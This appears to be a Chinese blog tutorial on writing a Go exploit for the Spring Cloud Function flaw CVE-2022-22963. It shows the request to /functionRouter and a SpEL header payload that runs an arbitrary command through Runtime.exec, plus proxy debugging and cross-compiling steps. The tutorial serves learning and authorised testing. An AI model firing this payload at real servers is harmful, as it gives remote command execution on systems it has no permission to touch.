写什么?
之前在使用Spring相关工具时候发现其中漏洞利用模块CVE-2022-22963需要手动利用(2023年的笔记,现在不确认工具是否更新了)
GitHub - AabyssZG/SpringBoot-Scan: 针对SpringBoot的开源渗透框架,以及Spring相关高危漏洞利用工具
于是尝试编写这个exp,对编程不熟悉的可以看看我的Golang poc编写教程
点此跳转
抓取数据包-明确要求
标红的是payload
可见,我们需要:
开始编写
格式
很多命令行工具,都会有类似这样的界面
用来展示参数说明,并且具有接收参数的功能
target := flag.String("u", "【默认值】", "【参数说明】")
command := flag.String("c", "【默认值】", "【参数说明】")
flag.Parse() //解析参数
其中【默认值】表示在不指定的情况下,该变量的值
【参数说明】为命令行下./xxx --help
时候展示的内容
这些数据为引用类型,下文中要使用这些参数时,需要加*
如fmt.Println(*target)
可以打印target参数
另外需要注意的是在flag.Parse()之后才会加载这些参数,所以你的代码的banner需要放在此之前,若放在此之后则在使用--help
时候,不会显示banner
POST数据包
现在我们需要构造一个POST请求
post_body := url.Values{}
post_body.Add("test", "test")
a, _ := http.NewRequest("POST", *target+"/functionRouter", bytes.NewBuffer([]byte(post_body.Encode())))
body并不影响此漏洞利用,所以有内容即可
使用NewRequest生成一个新的http请求
第一个参数为请求类型,选择POST
第二个参数为url,我们将接收到的target参数取出,并拼接上漏洞路径
第三个参数为body,需要注意类型转换
插入payload
我们的payload在header中,我们现在给这个生成的http请求的hearder加上payload
常见的增加header的方式:
a.Header.Add("【字段名key】","【字段值value】")
本人最开始也是用这个方法去编写的,但是无法成功利用(具体见下文)
发送数据包
数据包已经构造好了,接下来就是把数据包发送出去
http.DefaultClient.Do(a)
这个方法调用一个默认的客户端发送请求
正常情况下,我们需要从返回包中获取一些特征来判断是否利用成功,但是这个漏洞不需要所以省略此部分
关闭连接
及时关闭资源非常有必要(尤其是涉及到高并发的情况下)
关闭资源分为两步
1:关闭返回对象resp的body
2:关闭http连接
参考链接:GO 关闭http请求的几种方式 - 掘金 (juejin.cn)
调试
在编写完成之后,发现一直无法成功利用
这时候就要开始调试,调试的思路:让流量挂上代理(指向burp),然后我们观察burp抓到的数据包进行分析
//获取有代理的客户端,并发送数据包
proxy := func(_ *http.Request) (*url.URL, error) {
return url.Parse("http://192.168.108.134:8081")
}
transport := &http.Transport{Proxy: proxy}
client := &http.Client{Transport: transport} //有代理、且会跟随跳转
完成之后,我们再次运行并抓包
发现端倪
可以看见,数据包中的大小写有所不同
查阅资料得知,a.Header.Add("【字段名key】","【字段值value】")这个方法会自动修改大小写
所以我们换一个方法即可a.Header["key"]=[]string{"value"}
a.Header["spring.cloud.function.routing-expression"] = []string{"T(java.lang.Runtime).getRuntime().exec(\"" + *command + "\")"}
修改完成之后,重新运行,成功利用
打包代码
将我们的代码打包成多个平台的可执行程序
在项目路径下打包代码(这里以Linux平台为例,不同平台交叉编译的代码不同)
Linux
#编译出可以在本机(Linux)上运行的可执行程序
go build main.go
Windows(交叉编译)
#编译出可以在windows系统上运行的可执行程序
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.go
Mac(交叉编译)
#编译出可以在Mac上运行的可执行程序
CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build main.go
编写完成(撒花)
标签:练手,body,http,排错,参数,EXP,go,编写,数据包 From: https://www.cnblogs.com/Aixve/p/18188792